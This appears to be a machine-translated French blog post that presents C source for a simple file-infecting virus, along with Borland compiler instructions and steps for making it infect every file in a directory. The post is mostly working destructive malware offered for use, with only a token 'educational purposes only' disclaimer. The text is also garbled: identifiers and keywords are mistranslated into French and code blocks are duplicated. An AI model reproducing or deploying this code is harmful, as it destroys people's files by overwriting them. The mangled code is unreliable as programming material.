Ce programme est un exemple de comment créer un virus en C. Ce programme démontre un programme simple virus qui, lors de l'exécution (Running) crée une copie de lui-même dans l'autre fichier. Ainsi, il détruit d'autres fichiers en les infectant. Mais le dossier infectés par le virus est également capable de transmettre l'infection à un autre fichier et ainsi de suite. Voici le code source du programme antivirus.
# Include
# Include <io.h>
# Include <dos.h>
# Include <dir.h>
# Include <conio.h>
# Include <time.h>
# Include <io.h>
# Include <dos.h>
# Include <dir.h>
# Include <conio.h>
# Include <time.h>
Le virus FILE *, hôte *;
int fait, a = 0;
unsigned long x;
buff char [2048];
struct ffblk ffblk;
clock_t er, fin;
int fait, a = 0;
unsigned long x;
buff char [2048];
struct ffblk ffblk;
clock_t er, fin;
void main ()
{
st = clock ();
clrscr ();
done = FindFirst ("*.*",& ffblk, 0);
while (! fait)
{
virus = fopen (_argv [0], "rb");
host = fopen (ffblk.ff_name, "rb +");
if (hôte == NULL) goto next;
x = 89088;
printf ("% Infecter s \ n", ffblk.ff_name, a);
while (x> 2048)
{
fread (chamois, 2048,1, virus);
fwrite (chamois, 2048,1, accueil);
x-= 2048;
}
fread (chamois, x, 1, virus);
fwrite (chamois, x, 1, accueil);
a + +;
suivante:
{
fcloseall ();
done = FindNext (& ffblk);
}
}
printf ("DONE (Total des Fichiers infectés =% d)!", a);
fin de l'horloge = ();
printf ("TEMPS PRIS =% f SEC \ n",
(Fin-st) / CLK_TCK);
getch ();
}
{
st = clock ();
clrscr ();
done = FindFirst ("*.*",& ffblk, 0);
while (! fait)
{
virus = fopen (_argv [0], "rb");
host = fopen (ffblk.ff_name, "rb +");
if (hôte == NULL) goto next;
x = 89088;
printf ("% Infecter s \ n", ffblk.ff_name, a);
while (x> 2048)
{
fread (chamois, 2048,1, virus);
fwrite (chamois, 2048,1, accueil);
x-= 2048;
}
fread (chamois, x, 1, virus);
fwrite (chamois, x, 1, accueil);
a + +;
suivante:
{
fcloseall ();
done = FindNext (& ffblk);
}
}
printf ("DONE (Total des Fichiers infectés =% d)!", a);
fin de l'horloge = ();
printf ("TEMPS PRIS =% f SEC \ n",
(Fin-st) / CLK_TCK);
getch ();
}
COMPILATION MÉTHODE:
L'utilisation de Borland TC + + 3.0 (16 bits):
1. Chargez le programme dans le compilateur, appuyez sur Alt-F9 pour compiler
2. Appuyez sur F9 pour générer le fichier EXE (ne pas appuyer sur CTRL-F9, ce sera infecter tous les fichiers dans le répertoire CUR includin votre compilateur)
3. Notez la taille du fichier EXE généré en octets (voir PROPRIÉTÉS exe pour sa taille)
4. Modifiez la valeur de X dans le code source avec la taille noté (dans le code source ci-dessus X = 89088; le changer)
5. Une fois encore suivre les étapes 1 et 2.Now ÉTAPE le fichier EXE généré est prêt à infecter
L'utilisation de Borland C + + 5.5 (32 bits):
1. Compiler une fois, notez la longueur EXE généré fichier en octets
2. Modifiez la valeur de X dans le code source à cette longueur en octets
3. Recompiler it.The fichier EXE nouvelle est prêt à infecter
COMMENT TESTER:
1. Ouvrez le nouveau dossier vide
2. Mettez les fichiers EXE (en recherchant *. exe dans RECHERCHE & coller dans le nouveau dossier)
3. Exécutez le fichier EXE du virus là, vous verrez tous les fichiers dans le répertoire courant s'infecter.
4. Tous les fichiers infectés seront prêts à réinfecter
C'est tout.
AVERTISSEMENT: des fins éducatives seulement. NE PAS propagation ou utilisation abusive de ce code du virus
Aucun commentaire:
Enregistrer un commentaire